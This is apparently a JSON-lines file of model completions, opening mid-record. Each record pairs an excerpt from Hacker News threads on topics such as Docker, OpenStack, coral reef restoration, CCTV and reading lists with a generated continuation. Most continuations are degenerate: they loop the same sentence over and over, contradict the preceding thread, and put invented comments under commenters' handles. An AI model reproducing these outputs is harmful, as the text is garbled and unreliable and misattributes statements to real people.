petethomas\nhttps://www.bloomberg.com/opinion/articles/2019-05-06/trump-could-cost-future-retirees-billions\n======\ninflatableDodo\nEstimated cost to the financial advice market (by the financial advice market)\nof having to abide by the fiduciary rule - $2.4 billion\n\n[https://www.investmentnews.com/article/20151230/FREE/1512399...](https://www.investmentnews.com/article/20151230/FREE/151239992/dol-\nfiduciary-rule-could-take-2-4-billion-bite-out-of-financial)\n\nEstimated cost over the next 30 years for retirees (by the Economic Policy\nInstitute), just from the fiduciary rule being delayed for 18 months - $10.9\nbillion\n\n[https://www.epi.org/publication/another-fiduciary-rule-\ndelay...](https://www.epi.org/publication/another-fiduciary-rule-delay-would-\ncost-retirement-savers-10-9-billion-over-30"} +{"output_text": "\nI'm not sure if you're looking for a specific type of advice, but I'll throw\nout a few things that I've found helpful.\n\n1) Don't be afraid to ask for help. I've found that the best way to get\nstarted is to ask for help. I've found that the best way to get started is to\nask for help. I've found that the best way to get started is to ask for help.\n\nI've found that", "input_text": " You will learn the industry inside\nand out if you keep yourself open to gathering information.\n\nAnother (probably obvious way you've already considered) is to call the\ncompanies as a potential customer. Ask them questions about their\nproducts/services that you would expect them to answer for a regular customer.\n\nThat should be enough to get you started. Good luck!\n\n~~~\naagha\nGood suggestion on acting like a potential customer.\n\nFurthermore, I agree that these questions may be at an \"industry analysis\"\nlevel. As such, I'd advise looking into utilizing\n or .\n\n~~~\nnikiscevak\nHonestly, you'll waste your time. They'll see you coming from a mile away.\n\nA fantastic source of market research is from larger public companies. Look up\ntheir most recent 10-K (annual report). They are legally obligated to give a\nfairly detailed market analysis (that synthesizes the research from folks like\nGartner etc.) in each annual report. It's a great starting point.\n\nAlso, for most startup'markets' there isn't actually a market. It's\ncompletely new. So'market research' in this sense is not very useful and you\nshould examine the premise that you need to do market research at all (versus\nsay concentrating on whether consumers actually have a problem that you can\nsolve).\n\n~~~\nmosburger\nTotally agree w/ nikiscevak. I abandoned one of my ideas for a wireless MVNO\nafter analyzing the 10-K's of some publicly traded wireless companies. Just\nreading through the summaries will give you good nuggets of information.\n\n------\nthorax"} +{"output_text": "\n\n~~~\naxod\nI think you're missing the point.\n\nThe point is that you can have a single interpreter per-thread, and share\nmemory between threads.\n\nThe point is that you can have a single interpreter per-thread, and share\nmemory between threads, and have a very good message passing strategy between\nthreads.\n\nThe point is that you can have a single interpreter per-thread, and share\nmemory between threads, and have a very", "input_text": " to be updated very quickly\nat the same time - eg some animation etc\n\n~~~\nscott_s\nThe JavaScript VM will have a significant amount of state associated with it.\nExecuting a virtual instruction will require accessing that state. If that\ndata is not in the CPU's cache, it will cause cache misses, which stall code\nprogression.\n\nIf you then use that data in the cache for a while, then the cost of the cache\nmiss will be amortized. But what you're proposing is going back and forth\nquickly between the JavaScript VM and the rest of the browser code. The\nbrowser code will also need to bring its data into the cache, which will kick\nout the JavaScript VM's data.\n\nSince you're proposing that the JavaScript VM should do a very small amount of\nwork at each time, and it will likely need to bring all of its data back into\nthe cache each time, you will see a lot of CPU stalls.\n\n~~~\naxod\nYeah I think we have a _long_ way to go before js performance is affected by\nCPU caches.\n\n------\nantirez\nInstead of dealing with all this complexity, I don't understand why a simpler\napproach is not used, like having a single interpreter per thread and a very\ngood message passing strategy between interpreters.\n\n~~~\nmahmud\nYou could already achieve that with OS processes and IPC. The whole point of\nhaving multi-threading is to be able to write compact, shared-memory code with\nminimal use of synchronization operators, and sharing as much code and data as\npossible.\n\nOne interpreter per-thread means all side-effects have to be migrated to the\nother threads to keep a consistent view of memory: guess what you will need to\ndo that?"} +{"output_text": " be functionally equivalent.\n\n[1]\n[http://www.google.com/patents/about?id=1_1EAAAAEBAJ&dq=ex...](http://www.google.com/patents/about?id=1_1EAAAAEBAJ&dq=exhaustion)\n\n[2]\n[http://en.wikipedia.org/wiki/Doctrine_of_equivalents](http://en.wikipedia", "input_text": " problem, as the article says, is that even getting to the stage\nwhere you can call their bluff like this is extremely expensive, and\nstatistically very few defendants will take it this far. So for the few folks\nwho do stick it out this far, Lodsys can simply drop out and still stay way\nahead of the game.\n\nAs to why I think their case is somewhat stronger than the usual troll:\nFirstly, it's patents partially survived Google's supposedly \"devastating\" re-\nexamination request. Although the process is still ongoing, the claims that\nsurvived are golden. Those now have an \"enhanced presumption of validity\",\nwhich means if asserted at trial, the defendants would be wise to seek\nstronger alternate defenses besides invalidity.\n\nSecondly, and speaking of alternate defenses: patent exhaustion. Exhaustion is\ntriggered on first authorized sale [1]. I really cannot (and neither can the\nEFF) comment on this since all the relevant terms on which Apple, Google etc.\nhave a license are secret. Further, since Apple was not allowed to intervene,\nit seems even less likely a defense.\n\nThirdly, the claims are \"vague\" only if you decide not to put much effort into\nunderstanding how they work. Much like non-lispers complaining about\nparentheses. I have seen vague claims, and these are downright straightforward\nin comparison, despite what the EFF's out of context snippets may imply. Also,\nmentioning fax machines is a non sequitur. If the main function of fax\nmachines in this patent was to act as network components, by the Doctrine of\nEquivalents [2] they are functionally equivalent to the Internet of today.\nHeck, it could be carrier pigeons and still"} +{"output_text": " child is now more than two\nhours\"\n\nI'm not sure if this is a good thing or not.\n\n~~~\njameshart\nI think it's a good thing.\n\nI think it's a good thing because it's a good thing for the child.\n\nI think it's a good thing because it's a good thing for the parent.\n\nI think it's a good thing because it's a good thing for society.\n\nI think", "input_text": " docker.\n\nFor a business perspective, it's a little tricky. I guess it can help if you\nneed to offer an onsite version of your SaaS app and the enterprise client had\nstrict rules about being on site.\n\nWhat would really make docker kickass is if they had a way to encrypt all the\nsource code somehow and protect it.\n\n------\nscraymer\nMaybe you have looked already and it wasn't useful to you but on the Docker\nwebsite it has some pretty good marketing to explain its usefulness:\n[https://www.docker.com/whatisdocker](https://www.docker.com/whatisdocker)\n\nWhy Use Docker: \"How does this help you build better software? When your app\nis in Docker containers, you don\u2019t have to worry about setting up and\nmaintaining different environments or different tooling for each language.\nFocus on creating new features, fixing issues and shipping software.\"\n\nBusiness Case: \"...With Docker, you can easily take copies of your live\nenvironment and run on any new endpoint running Docker...\"\n\n~~~\ndmarg\nYeah, I looked at the Docker website. I feel that Docker is super good at\nmarketing and wanted to get some other opinions.\n\n~~~\ndeftek\nHere is CoreOS opinion on docker:\n\n[https://coreos.com/blog/rocket/](https://coreos.com/blog/rocket/)\n\n \nIt's Not Orwell, It's Brave New World - fmihaila\nhttps://www.theguardian.com/media/2017/feb/02/amusing-ourselves-to-death-neil-postman-trump-orwell-huxley\n======\ntronreg\n\"the average weekly screen time for an American"} +{"output_text": ".cmu.edu/~quake/reduceron/>)\nbut I'm not sure how well it would work in practice.\n\n------\nj_m_f\nI think the author is right that the hardware industry is going to have to\nchange. I think the author is wrong that the hardware industry is going to\nchange in the way he suggests.\n\nI think the author is wrong that the hardware industry is going to change in\nthe way he suggests.", "input_text": "'s all about the cost to the manufacturer and not\nfalling apart until the day after the warranty expires.\n\n------\nj_m_f\nAlthough I do agree that Open Hardware has a bright future, I'd just like to\npoint out that people have been calling the end of transistor size scaling for\na few decades, and technology keeps finding ways to get around the limitations\n(strained silicon, high-k metal gates, finFETs, etc.).\n\n~~~\nEstragon\nFrom the article:\n\n \n \n > 5 nm is about the space between 100 silicon atoms, so even if this\n > guess is wrong, it can be wrong by no more than a few technology\n > generations.\n\n~~~\nj_m_f\nMy point is that, even in that case (current silicon scaling stopping at 5nm),\nthere are a lot of potential technologies that could allow Moore's law to\ncontinue (nanowires, III-V materials, etc.).\n\n------\n0x12\nMy money is on massive FPGAs, think a whole wafer of silicon with just a bunch\nof general purpose IO and power.\n\nOnce stuff like that becomes available at a reasonable price (a big FPGA will\ncost you a _lot_ of money at the moment) open hardware will be as simple as\ndownloading a bitstream on to your 'general purpose' rig.\n\n------\ndmboyd\nI like where this is going, ie. Hardware becomes just another software\ncomponent.\n\nThe key item thats left is some sort of standard interface to port programs to\na FPGA style processor, i.e. a way of interfacing between a language compiler\nand HDL.\n\nI like the look of the Reduceron ( The point is that the rate of temperature rise is not an anomaly. It is a\n", "input_text": " ice age receding. The fallacy here is \"made shit up and pretended it was\ntruth\".\n\n> Also, the \"record\" in this case only goes back 130 years, and the earth is\n> 4.5 billion years old\n\nThe record is a real record. Putting it in quotes implies that it isn't a\nrecord. That's false. Also, this implies that the age of the earth is relevant\nto how we act today. Does NYC or SF care about the temperature of the Earth\nduring the formation of our solar system? No. It's not relevant.\n\n> so to try and make some sort of global warming generalization based on\n>.00000000028% of the evidence is fallacious.\n\nNobody is making that generalization, or using that scale of evidence. This is\na fallacy because the post author has pretended that the IBM article quoted\nsaid that they (Weather Underground) used.00000000028% of available evidence\nto draw their conclusion. Again, this is false.\n\n~~~\nJames001\nAgain, you didn't cite any actual facts. Repeating something doesn't make it\ntrue. You should reply with a citation proving that the rate of temperature\nrise is an anomaly. Cause right now you're ironically \"making shit up and\npretending it was truth\", in your own words.\n\nAlso, noting the fact that the record only goes back 130 years is merely\npointing out how little statistical significance climate models based on \"the\nrecord\" have.\n\nYour post is rank with hypocrisy.\n\n~~~\nsoundwave106\nLonger sets of data exist that are not global in scale. The longest is the\nCentral England Temperature set, going back to 1659.\n\n[https://en.wikipedia.org/wiki/Central_"} +{"output_text": " Facebook codebase and I'll\nshow you a programmer who is trying to reoptimize the Facebook codebase.\n\n~~~\ngeneral_failure\nI am not a programmer. I am a programmer who is trying to reoptimize the\nFacebook codebase.\n\n------\njoeblau\nI'm not sure if this is a good thing or not. I think it's a good thing that\nFacebook is trying to make their codebase more efficient. I think it's", "input_text": "'t figure that out, I can't help you.\n\nAs far as their work on HHVM, it was necessary due to failure by bad\ntechnology choices from the start. There's very little interesting about this\nwork unless you somehow love PHP, want to make debugging your production\napplications more difficult, and refuse to address your real problems. I am\n100% sure no one outside of the PHP community cares about anything Facebook\nhas done in C++.\n\nSimply having a large company with lots of developers who might have even had\ngood reputations elsewhere or even be smart doesn't mean much. Having worked\nin many places with lots of smart developers, I can tell you stories about too\nmany geniuses in the room. Calling Facebook developers engineers is also about\nas apt as calling janitors sanitation engineers. We're programmers, or\ndevelopers, or perhaps software architects at best depending on the position.\nI happen to have an EE and CS degree but given I do programming for a living,\nI'd hardly call myself an engineer. But we're way off topic :)\n\n~~~\notterley\n> As far as their work on HHVM, it was necessary due to failure by bad\n> technology choices from the start.\n\nHHVM arose out of Facebook's desire to save on server purchasing and operating\ncosts. Facebook could run perfectly well without it on Plain Old PHP, but\nthey'd have to buy and power more servers.\n\nI'd hardly call PHP a \"bad technology choice\" given the outstanding financial\nsuccess of many companies that use it.\n\n------\nboomshoobop\nIsn't Facebook itself an STD vector?\n\n~~~\ngeneral_failure\nFunny :)\n\n------\njohnwbyrd\nShow me a programmer who is trying to reoptimize the"} +{"output_text": " oceans should check out the Reef Restoration Project:\n[https://citizensgbr.org/c/coral-nurseries](https://citizensgbr.org/c/coral-\nnurseries)\n\n------\njimnotgym\nI'm not sure I understand the point of this.\n\nThe coral reefs are dying because of climate change.\n\nThe coral reefs are dying because of pollution.\n\nThe coral", "input_text": " attracts big\npredators like sharks), and a net of vested interests will block it.\n\nAnd you'll need to wait 3000 years to have a coral reef at '3000 years level',\nof course. Corals are terribly slow and fight with their neighbors all the\ntime. Such project would be extremely expensive.\n\n~~~\nsomishere\nThere's already projects doing this. Both on the GBR and in places like\nFlorida in the USA. The coral being grown is mainly staghorn due to its rapid\ngrowth cycles with the idea that it can help replenish high value sites only,\ni.e. not the whole reef. These kind of measures are seen as being part of a\nspectrum of solutions. Check out the Reef Restoration Project:\n[https://citizensgbr.org/c/coral-nurseries](https://citizensgbr.org/c/coral-\nnurseries)\n\n~~~\npvaldes\nA staghorn-only reef is \"equivalent\" to a monoculture forest. Staghorn is the\n\"Eucalyptus\" of corals. Much faster than most species. Will overgrowth and\novershadow more delicate species that rely in potent poisons and good niches\nto survive and grow much slower.\n\nStaghorn could make a good skeleton of a reef in, dunno, maybe 50 or 100 years\nand would attract a wonderful biodiversity if left alone; but is not enough in\nreef terms. we are talking of the cream of the cream. One of the finest works\nof this planet. The staghorn ecosystem is just a baby and a lot of species\nwould be sorely missing.\n\n------\nsomishere\nPeople interested in joining a movement that engages with climate change and\nthe future of the"} +{"output_text": "uine question, why would you want to do that?\n\n~~~\njoshuamorton\n> So you will most likely need to use overlay network.\n\nYou don't need to use overlay network. You can use the default overlay\nnetwork.\n\n> You also decrease resiliency, because now when AWS terminated a single VM,\n> all apps running on that node suddenly disappear.\n\nYou can use the default overlay network to make the containers on the same", "input_text": "ization layer than\nhardware hypervisors like VMWare, also has higher performance for I/O\nintensive operations. When used on bare metal hardware, you going to be able\nto get better performance for many databases in Docker containers compared to\ndatabases running in a virtual machine guest.\n\nSo to recap, Docker can help you\n\n\\- maintain consistent dev/test/prod environments\n\n\\- use less resources than hardware virtualization\n\n\\- free up the time your team spends on dev to ops handoffs\n\n\\- improve your app I/O performance compared to running in a hardware\nvirtualization based virtual machine guest\n\nHowever if you are using AWS, note that Docker Container Service available\nfrom Amazon actually doesn't give you Docker on bare metal. That's because\nDocker Containers run in AWS virtual machine guests virtualized by Xen\nhypervisor. So with AWS you are paying a penalty in resources and performance\nwhen using Docker.\n\n~~~\ntakeda\nGreat, but what are the benefits of running Docker in AWS? You are still\nrunning VMs and you are being charged for running them. With Docker you are\nsimply putting yet another layer of complexity, because now you have to run\nmore beefier VMs, you now have problem with network communication between\ncontainers running on different hosts. So you will most likely need to use\noverlay network. You also decrease resiliency, because now when AWS terminated\na single VM, all apps running on that node suddenly disappear.\n\nI also don't get the argument about running the same container in\ndev/test/prod. For example my company is working on going Docker and one of\nthe problem with these environments is that app running there has different\nconfiguration. So the idea to solve it is to create three different versions\nof the same container. Gen"} +{"output_text": "venture.com/](http://roomescapeadventure.com/)\n\n------\njoshu\nI've played this a few times. It's a great way to get people to work together.\n\n------\njoshu\nI've played this a few times. It's a great way to get people to work together.\n\n------\njoshu\nI've played this a few times. It's a great way to get people to work together.\n", "input_text": "get very chaotic with everyone running around looking for clues.\n\nThe only downside is once they reveal the clues/answers, it can be frustrating\nif they were impossible to solve in the first place.\n\n------\naustinl\nI was at the Escape from the Moon Base [1] in SF two weeks ago and it was a\nlot of fun. I went with some coworkers, but I'd also recommend going with\nfriends, and would definitely participate again.\n\nThe puzzles are fairly challenging (no one in my session of 30 teams/180\npeople) finished with an entirely correct solution, so it's satisfying when\nyour team solves certain parts.\n\n[1] [http://realescapegame.com/sf07_mb/](http://realescapegame.com/sf07_mb/)\n\n------\nlukas\nI played the Escape from Time Travel Lab as a team building exercise and it\nwas an awesome experience - I totally recommend it. I just wish they would put\nout more games!\n\n------\nnitrogen\nSounds somewhat like murder mystery dinner parties. Also: why does NYT hijack\nthe left and right arrows to take me away to another article?\n\n------\nnschuett\nOne of the hardest things about these \"escape from the room\" games is keeping\nall the puzzles and clues organized, and sharing progress across the whole\nteam. It's a pretty great exercise in project mgmt and teamwork.\n\n------\nnnnnni\nIt's not exactly the same, but TrueDungeon has a similar premise of \"a small\ngroup of people attempts to figure out puzzles together to get through\nsomething\".\n\n------\nkqr2\nFor a zombie themed escape, check out:\n\n[http://roomescapead"} +{"output_text": "\nATM is used.\n\n------\njoshu\nI'm not sure what the point of this is.\n\n~~~\njoshu\nI'm not sure what the point of this is.\n\n------\njoshu\nI'm not sure what the point of this is.\n\n------\njoshu\nI'm not sure what the point of this is.\n\n------\njoshu\nI'm not sure what the point of this is", "input_text": ", it took another few\nminutes for them to collect all this, then they said they needed a few moments\nto run it past some lists. (Apparently the US government keeps some lists of\nterrorists and whatnot -- I told them I wasn't on any of the lists but they\ninsisted on checking anyway.)\n\nAfter a few more minutes they came back and said I was fine. They transferred\nmoney from my existing bank and handed me a new ATM card. I tried it and\neverything worked smoothly this time.\n\nI don't think anyone should use this bank. The process took me half-an-hour or\nmore and it was really awkward.\n\n[1] -\n[http://www.fincen.gov/statutes_regs/patriot/](http://www.fincen.gov/statutes_regs/patriot/)\n\n~~~\nderekp7\nI've never seen a case where an card wouldn't work in another bank's automated\nATM machine. I know this used to be the case, but there are a bunch of logos\non the back of my card, and a bunch of logos on various ATMs, and as long as\nthere is an intersection of at least on of those logos it should work.\n\nAnd there is a big difference between giving basic proof of ID information to\na regulated financial institution, vs. handing it over to an unknown entity.\n\n~~~\nnezza-_-\nJust FYI: ATM stands for Automated Teller Machine, so your sentence expands to\n\"automated automated teller machine machine\" :)\n\n~~~\nderekp7\nI know -- that's why I threw automated at the beginning (inside joke). But\nadding \"machine\" at the end seems to happen a lot (and feels natural) when an"} +{"output_text": " for working on your side projects. I'd recommend\ngetting rid of that. It's a bad habit.\n\nI'd also recommend getting rid of the TV. It's a bad habit.\n\nI'd also recommend getting rid of the phone. It's a bad habit.\n\nI'd also recommend getting rid of the internet. It's a bad habit.\n\nI'd also recommend getting rid of the computer. It's a bad habit.\n\nI'd also recommend", "input_text": " second the therapy too, that's also helped.\n\n------\niamben\nMany, many good responses here. And I muchly second meditation and exercise. I\nalso needed to get out the house every day when I worked from home (the gym\nwas good, but you don't talk to enough people). WeWork has been excellent\nbecause it gives me a place to be every day, and people to talk to.\n\nAs for distractions like video games, try making them irritating enough that\nit's more effort to do it than keep focused on your task. Unplug the console,\nput it in the box and put it at the top of the cupboard. Unplug all the cables\nfrom your TV. Let yourself play console, but go through the effort of setting\nit up and packing it away each time. Before long you'll only play it when you\nreally want to - those ten minute \"one game\" sessions that become 2 hours\ndon't happen anymore.\n\nLast year I moved into a new place and my housemate and I didn't bother\ngetting a TV. I missed TV for about 2 weeks. Been over a year now and not\nhaving something to just'sit' in front of has been a game changer for _doing_\nother things. Same deal. I cut out all the casual watching.\n\nAll of us struggle - particularly when working for yourself. Don't beat\nyourself up, it really doesn't help.\n\n------\nabalone\nIt could be ADHD, but believe it or not I'd explore whether it's an addiction\nissue. I think there should be more discussion and analysis of the\nrelationship between addiction and chronic procrastination.\n\nWhat else are you doing with your time? You made a couple of references to\nvideo games as a reward"} +{"output_text": "\nI'm not sure what you're trying to say here. The NSA has access to US security\ncameras, and they do care about them.\n\n~~~\nstrictnein\nI'm saying that the NSA doesn't have access to US security cameras.\n\n~~~\nnoarchy\nI'm saying that the NSA doesn't have access to US security cameras.\n\n------\njedberg\nI'm surprised that the article doesn't mention the fact that the cameras are\n", "input_text": " sum of money.\n\nI suppose in theory, if you blanketed the entire country with CCTV (just one\ntown is no good, the crime can move to the next town over) then you might have\na deterrent effect, but of course all the other concerns about mass\nsurveillance would still apply.\n\n------\nJoeAltmaier\nUS has more, per-capita?\n[https://www.precisesecurity.com/articles/Top-10-Countries-\nby...](https://www.precisesecurity.com/articles/Top-10-Countries-by-Number-of-\nCCTV-Cameras)\n\nUSA has 1 camera for every 6 or 7 people?\n\n~~~\nkeiferski\nIs this actually a useful metric? Cities should be compared to cities.\n\nAlso, that link doesn\u2019t seem to say whether cameras are owned by the state.\nPresumably surveillance operated by the government is more totalitarian than\nvarious private businesses.\n\n~~~\nthe8472\n\"lawful access\" interfaces can mean automatic access by the government. It's\noutsourced mass surveillance.\n\n~~~\nJoeAltmaier\nIn the movies and on TV, they always have to 'ask for the tapes'. Wonder how\nit really works now - the NSA already has it all?\n\n~~~\nnoarchy\nIf those cameras have any kind of outside accessibility over a network, the\nNSA is probably just one of many with potential access.\n\n~~~\nstrictnein\nThe NSA doesn't have access to US security cams and couldn't care less about\nthem. Come on people...\n\n~~~\nnoarchy\n>The NSA doesn't have access to US security cams and couldn't care less about\nthem.\n"} +{"output_text": "\n\n------\njoshu\nI think you're doing it wrong.\n\nI think you should be working on a project that you care about.\n\n~~~\namorphid\nI do care about it. I just don't know how to solve it.\n\n------\njoshu\nI think you're doing it wrong.\n\nI think you should be working on a project that you care about.\n\n------\namorphid\nI think you're", "input_text": " entire summer staring at C and getting blocked on ridiculous basic\nstuff because I had dumb learning techniques and kept being too ambitious. I\nknow a solid guy who did first-year C three times before he passed._\n\nSounds like we're just using different definitions for \"good\". You seem to\ndefine it as meaning competent, so yes, you and your friend fall into the\ncategory of people who have successfully taught yourself to program computers\ndespite not being wired to do it.\n\nI was talking about the Fred Brooks 10X types when I said \"good\". Those guys\ndidn't drop Comp Sci 101.\n\nAgain, please try not to take it personally. They're not better people than\nyou. They just took to computer programming like everybody else takes to\nbreathing.\n\n~~~\nthereddestruby\nThere's no magic wiring there - humans don't speak computer out of the womb.\nSome people start programming at a younger age than others. Some move on, some\nstick, some take it more seriously, some go on to become great.\n\nIt's like any other thing really. Football, Soccer, Jiujitsu, Ping-Pong, etc.\n\n------\nsethwartak\nWork on something useful, something that has a goal.\n\nBeating your head against a problem for hours is the best way to learn\nsomething (because you learn all the ins and outs of that thing, not just the\npart you were working on).\n\n------\nspooneybarger\nCan you define what you mean by 'on your own'?\n\n~~~\namorphid\nPicked up a few books, wrote basic programs, etc. When it got harder, found\nways to ask people questions. I usually get frustrated when it comes to\nsolving puzzles that aren't linear programs."} +{"output_text": " work\nwell.\n\n~~~\njlgaddis\n> _I don 't know honestly whether you could use it to scale up to anything\n> like AWS or Google's offerings, but I think for medium-sized stuff like we\n> were doing (or like Digital Ocean does - who at the time was our direct\n> competition), it can work well._\n\nI'm not sure I agree with this. I've been using OpenStack for a few years now\n", "input_text": " OpenStack stuff as we could). We also had a\nRESTful API for clients to also used (some of our clients resold our services\nunder their own names). Some of the backend stuff was a bit \"messy\" in how it\nworked (I won't go into details, but I \"authored\" a fake \"O'Reilly\" \"book\"\n(really just a front \"cover\" mainly) whose mascot was dickbutt) - but despite\nthe mess, overall it worked well, considering all the moving parts (where it\nwould tend to fall down - not always, but enough - was when an upgrade to\nOpenStack was performed).\n\nIn short - we were also one of the few companies running OpenStack in\nproduction. Our owners ended up selling to LeaseWeb, I left - but the idea was\nthat LeaseWeb wanted to transition things to their API and system, and I\nhonestly don't know what happened with all the work and such I was involved in\non the PHP side of things (there was also a point where me and a coworker had\nto quickly ramp up and learn GoLang to make an interface from Rancher/Docker\nover to the Nobis API - that was a fun and interesting experience). I imagine\nthat some portion is still running, but who knows.\n\nI personally think that in the right hands and with the right infrastructure\nOpenStack can be a very workable and working technology. It seemed to work\nwell for the systems we used while I was at Nobis. I don't know honestly\nwhether you could use it to scale up to anything like AWS or Google's\nofferings, but I think for medium-sized stuff like we were doing (or like\nDigital Ocean does - who at the time was our direct competition), it can"} +{"output_text": "\nj_s\nI'm not sure why this is getting so much attention. It's a blog post, not a\nbook.\n\n~~~\nj_s\nI'm not sure why this is getting so much attention. It's a blog post, not a\nbook.\n\n~~~\nj_s\nI'm not sure why this is getting so much attention. It's a blog post, not a\nbook.\n\n~~~\nj_s\nI'm", "input_text": " sides sit down and do a true\ncomparative analysis and then the reader can decide which product suits their\nneeds best.\n\n~~~\nteh_klev\nThanks, saved me the bother of saying this as well.\n\nThat section on \"Reliability\" is pure comedy, the only time I had SQL Server\n\"crash\" was due to faulty hardware. And despite the best efforts of our\nprevious data centre company (who we've since ditched) dropping the ball and\nlosing power across the site multiple times over two years our MS SQL servers\nnever lost any data, despite the rug being pulled whilst under some fairly\nheavy workloads. I should add that neither did any of the MySQL fleet, even\nthe ones running replication.\n\nOne day when I get time I'll get around disembollocking this flawed article. I\ndon't say that as a MS SQL \"fanboy\", but as a DBA with coming on for 20 years\nexperience managing and programming SQL Server in banks, blue chips and ISP's\n(yeah I know, \"appeal to authority\"-fail, but who the hell is this anonymous\nauthor, and what are his credentials?).\n\nEdit: sorry I should add I quite like PostgreSQL, and I'm hoping to roll it\nout as a service offering to our client base in the next few months, so no axe\nto grind from me with regards to its features and capabilities.\n\n~~~\nj_s\nMy experience: SQL Server kicks its NAS off the network due to the NAS's own\nflakiness, but SQL Server has always recovered fine. I've had to boot it in\nsingle-user mode many times to cut the thundering herd down to size on\nstartup/recovery, but then it's back to business.\n\n------"} +{"output_text": "arently I'm not the only one) that the most successful\nfounders/entrepreneurs I've worked with have had the most robust and\nsuccessful networks.\n\n~~~\njasonkester\nI'm not sure I'd call it \"robust\" though.\n\nI've been in the network business for a long time, and I've seen a lot of\npeople who have a lot of connections, but who are not able to get any of them\nto do", "input_text": "ellers to his name. My mother introduced herself and added \"I\nhave to admit I've never actually read any of your books\". \"Excellent!\" the\nauthor replied, \"that means we can talk about something else\". And they spent\nthe entire evening having a really great conversation about all manners of\ntopics. My mother said she could really tell how excited he was to get a\nchance actually talk about something other than his books.\n\n------\nsid6376\nFrom the comments here, I infer, VCs probably don't like being pitched\nunsolicited. Girls don't like being hit on. I have never pitched a VC, so i am\nbasically theorizing here. The trick is not in approaching them, but\napproaching them in a way which does not activate their natural defense\nmechanism. If you come across as interesting the girls will give you\nattention. Its better to lower their defenses with an approach that they don't\nexpect.\n\n~~~\nklipt\nMaybe girls don't like being hit on by the wrong people, or in the wrong way.\nBut ultimately they do want to be approached by the right guys, or they\nwouldn't keep on going to places like bars where one of the main selling\npoints (unless it's a gay bar) is meeting people of the opposite sex.\n\n------\ncek\nGreat article.\n\nThe first thing I do when mentoring noob entrepreneurs/founders is ask them\nabout their networks.\n\n\"How are you growing it?\"\n\n\"Who are your mentors?\"\n\n\"Who are your mentees?\"\n\n\"Who are the big-wigs in your network?\"\n\nI have found, much to my surprise, given that I'm a \"black belt ninja\nnetworker type\" (app"} +{"output_text": "software company\n setup: dumb black & green 24x80 14\" CRT terminal\n Hardware: Honeywell mini\n OS: Honeywell proprietary\n DBMS: Pick (Ultimate Flavor)\n Language: C\n App: Work Order Processing (I wrote from scratch.)\n \n Date: Monday, April 29, 2013\n Age: 57\n Location: Miami, Florida\n Company: software company", "input_text": " you on?\n\n------\nZelmor\nI fear the days I might have to spend in a hospital. My hope is that I will\nhave saved enough money to afford home-care and die in my own bed, with a cat\nor a dog nearby.\n\n------\npascalxus\nI would imagine patients in the hospital have much bigger problems than how\nmuch sleep they're getting. They'll probably be awake all night anyways\nworrying about their over-billed hospital bill and how their insurance company\nis going to get out of paying for it.\n\n~~~\nanticensor\nOnly in the private hospitals.\n\n _self-induced sleep deprivation intensifies_\n\n------\nblablablerg\nHospitals aren't persons, so they can't hate anything. Nurses checking your\nvitals signs when necessary!= hating you sleep.\n\nWhy do I hate inflammatory clickbait garbage so much?\n\n \nHow I coded in 1985 - jgrahamc\nhttp://blog.jgc.org/2013/04/how-i-coded-in-1985.html\n======\nedw519\nThat headline got me to thinking...\n\n \n \n Date: Monday, April 29, 1985\n Age: 29\n Location: Santa Ana, California.\n Company: electronics manufacturer\n setup: dumb black & green 24x80 14\" CRT terminal\n Hardware: Honeywell mini\n OS: Honeywell proprietary\n DBMS: Pick (Ultimate Flavor)\n Language: BASIC\n App: Work Order Processing (I wrote from scratch.)\n \n Date: Monday, April 29, 2013\n Age: 57\n Location: Miami, Florida\n Company: "} +{"output_text": " it does give you a lot of experience in dealing with people who are\nnot like you.\n\n~~~\njbooth\nI'm not sure I agree with your assessment of the US.\n\nI think the US is a pretty decent place to live, and I think the US is\ngenerally a pretty decent place to live.\n\nI think the US is a pretty decent place to live, and I think the US is\ngenerally a pretty decent place to live.\n\n", "input_text": "third-world country. Not many have. (I have, and it was a dictatorship when I\nlived there, and as a foreign national I was part of the process of nudging it\nto become the democracy it is today.) To be a brother of your fellow human\nbeings is a great adventure. It's harder than armchair criticism, but also\nmore challenging and interesting.\n\n~~~\nrdl\nNot me.\n\nWe mostly know the solutions to fixing the most oppressed or otherwise\ndefective parts of the world; we just don't find it worthwhile to implement\nthose solutions. I could solve 90% Equatorial Guinea's problems for <$10mm and\na promise of immunity from prosecution or extradition by major world powers\n(i.e. places I'd actually be, afterward). Scaling that up for other countries\nis possible, too. For problems not requiring a ballistic solution, Bill Gates\nis doing a seriously effective job of solving the polio problem, and major\nheadway into malaria.\n\nThe solutions to the most defective countries are all pretty straightforward\nand widely known; it's figuring out how to turn decent but not ideal countries\nlike Pakistan into really stable first-world countries which would be hard, or\nfiguring out how to stem the long-term decline in the US. (Yes, there are\nimplementation difficulties in a place like Somalia, but it's because the\nbenefit isn't worth the expense in blood/treasure. The cheap solution is to\nlet the 1% of people who could make their lives a lot better by leaving do\nso.)\n\nThe skills required to solve the harder sociological problems don't really\nhave much overlap with the skills to send people to Mars.\n\nBringing those places up to standard doesn't really give you anything new,\nalthough"} +{"output_text": "_ by Steve Blank.\n\nI've read it twice, and it's still one of the best books I've ever read.\n\n------\njimmyvalmer\nThe Art of War by Sun Tzu.\n\n------\njimmyvalmer\nThe Art of War by Sun Tzu.\n\n------\njimmyvalmer\nThe Art of War by Sun Tzu.\n\n------\njimmyvalmer\nThe Art of War by Sun", "input_text": "from a Canadian university's website. You can't order just any book you want\nhere, so finding this was like finding the door to a new galaxy.\n\n[0]:\n[http://classiques.uqac.ca/classiques/](http://classiques.uqac.ca/classiques/)\n\n------\nblabla_blublu\nFiction :\n\n* Lolita by Vladmir Nabakov ; an absolute master class.\n\n* The Harry Potter series by JK Rowling ; one for the memories!\n\nNon Fiction :\n\n* Letters of Note by Shawn Usher; a compendium of wonderful letters from the past. Highly recommended. [https://www.amazon.com/Letters-Note-Collection-Correspondenc...](https://www.amazon.com/Letters-Note-Collection-Correspondence-Deserving/dp/1452134251/ref=sr_1_1?ie=UTF8&qid=1482110200&sr=8-1&keywords=Letters+of+note)\n\n* Deep work by Cal Newport ; very applicable to the modern day distracted soul.\n\n------\njurgenwerk\nThe Conquest of Happiness by Bertrand Russell. What an enlightenment!\n\n~~~\npeller\nLots of gold in this book. Even though it was published in 1930, just like\nwith _The Prince_ mentioned elsewhere in this thread, human nature changes so\nvery slowly - if at all - that these works are only substantiated by the test\nof time. Definitely a must read.\n\n------\nKaibeezy\n\"Meditations\", Marcus Aurelius - chill, the answer is there\n\n------\nmindcrime\n_The Four Steps To The Epiphany"} +{"output_text": " to C++.\n\n~~~\ndbaupp\nI'm not sure what you mean by \"expansions\", but I'm not sure I 